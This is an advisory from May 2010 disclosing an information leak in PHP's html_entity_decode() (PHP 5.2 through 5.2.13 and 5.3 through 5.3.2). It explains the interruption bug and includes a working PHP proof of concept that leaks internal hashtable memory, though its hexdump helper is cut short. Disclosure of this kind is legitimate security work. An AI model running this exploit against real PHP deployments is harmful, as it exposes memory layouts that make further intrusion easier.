

# MOPS-2010-010: PHP `html_entity_decode()` Interruption Information Leak Vulnerability

May 6th, 2010

PHP's `html_entity_decode()` function can be abused for information leak attacks, because of the call time pass by reference feature.

## Affected versions

Affected is PHP 5.2 <= 5.2.13

Affected is PHP 5.3 <= 5.3.2

## Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

## Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 ([SLIDES](#), [PAPER](#)). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilities are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the `html_entity_decode()` function.

```

PHP_FUNCTION(html_entity_decode)
{
    char *str, *hint_charset = NULL;
    int str_len, hint_charset_len = 0, len;
    long quote_style = ENT_COMPAT;
    char *replaced;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "slls", &str, &str_len,
        &quote_style, &hint_charset, &hint_charset_len) == FAILURE) {
        return;
    }

    replaced = php_unescape_html_entities(str, str_len, &len, 1, quote_style, hint_charset TSRMLS_CC);
    if (replaced) {
        RETURN_STRINGL(replaced, len, 0);
    }
    RETURN_FALSE;
}

```

The problem here is that `zend_parse_parameters()` retrieves the three arguments into local variables. The string pointers, lengths and integer parameters are therefore copied into local variables, losing the connection to the original ZVAL. The problem is that string data is not inbound and any modification of the ZVALs will not be reflected in the local variables and therefore any interruption could just modify the ZVALs so that the local variables point to already freed and reused memory. And because `zend_parse_parameters()` supports the `__toString()` method of objects the argument parsing can be easily interrupted by just passing an object as third parameter to `html_entity_decode()`. From the `__toString()` method an attacker can then kill the first argument to `html_entity_decode()` due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in `html_entity_decode()` passing memory of a hashtable to `php_unescape_html_entities()` instead of a string, which lets the attacker leak important internal memory offsets.

### Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

#### Hexdump

```

-----
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41  .....AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00  .....
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00  .....
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00  .....tC0.....
00000040: 00 00 01  -- -- -- -- -- -- -- -- -- -- -- --  ...

```

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

```
<?php
class dummy
{
    function __toString()
    {
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);
}

/* Trigger the Code */
$x = html_entity_decode(&$GLOBALS['var'], 0, new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    .. ..
```

## Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.
